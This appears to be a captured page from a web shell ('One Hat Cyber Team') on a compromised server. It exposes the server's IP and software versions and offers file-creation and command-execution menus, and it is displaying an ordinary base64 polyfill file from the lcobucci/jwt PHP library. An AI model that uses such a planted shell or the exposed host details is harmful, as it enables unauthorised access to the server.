⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
178.33.27.10
Server:
Linux cpanel.dev-unit.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software:
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
PHP Version:
8.2.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
id
/
erp.dev-unit.com
/
vendor
/
lcobucci
/
jwt
/
src
/
View File Name :
SodiumBase64Polyfill.php
<?php declare(strict_types=1); namespace Lcobucci\JWT; use Lcobucci\JWT\Encoding\CannotDecodeContent; use SodiumException; use function base64_decode; use function base64_encode; use function function_exists; use function is_string; use function rtrim; use function sodium_base642bin; use function sodium_bin2base64; use function strtr; /** @internal */ final class SodiumBase64Polyfill { public const SODIUM_BASE64_VARIANT_ORIGINAL = 1; public const SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING = 3; public const SODIUM_BASE64_VARIANT_URLSAFE = 5; public const SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING = 7; /** @return ($decoded is non-empty-string ? non-empty-string : string) */ public static function bin2base64(string $decoded, int $variant): string { if (! function_exists('sodium_bin2base64')) { return self::bin2base64Fallback($decoded, $variant); // @codeCoverageIgnore } return sodium_bin2base64($decoded, $variant); } /** @return ($decoded is non-empty-string ? non-empty-string : string) */ public static function bin2base64Fallback(string $decoded, int $variant): string { $encoded = base64_encode($decoded); if ( $variant === self::SODIUM_BASE64_VARIANT_URLSAFE || $variant === self::SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING ) { $encoded = strtr($encoded, '+/', '-_'); } if ( $variant === self::SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING || $variant === self::SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING ) { $encoded = rtrim($encoded, '='); } return $encoded; } /** * @return ($encoded is non-empty-string ? non-empty-string : string) * * @throws CannotDecodeContent */ public static function base642bin(string $encoded, int $variant): string { if (! function_exists('sodium_base642bin')) { return self::base642binFallback($encoded, $variant); // @codeCoverageIgnore } try { return sodium_base642bin($encoded, $variant, ''); } catch (SodiumException) { throw CannotDecodeContent::invalidBase64String(); } } /** * @return ($encoded is non-empty-string ? non-empty-string : string) * * @throws CannotDecodeContent */ public static function base642binFallback(string $encoded, int $variant): string { if ( $variant === self::SODIUM_BASE64_VARIANT_URLSAFE || $variant === self::SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING ) { $encoded = strtr($encoded, '-_', '+/'); } $decoded = base64_decode($encoded, true); if (! is_string($decoded)) { throw CannotDecodeContent::invalidBase64String(); } return $decoded; } }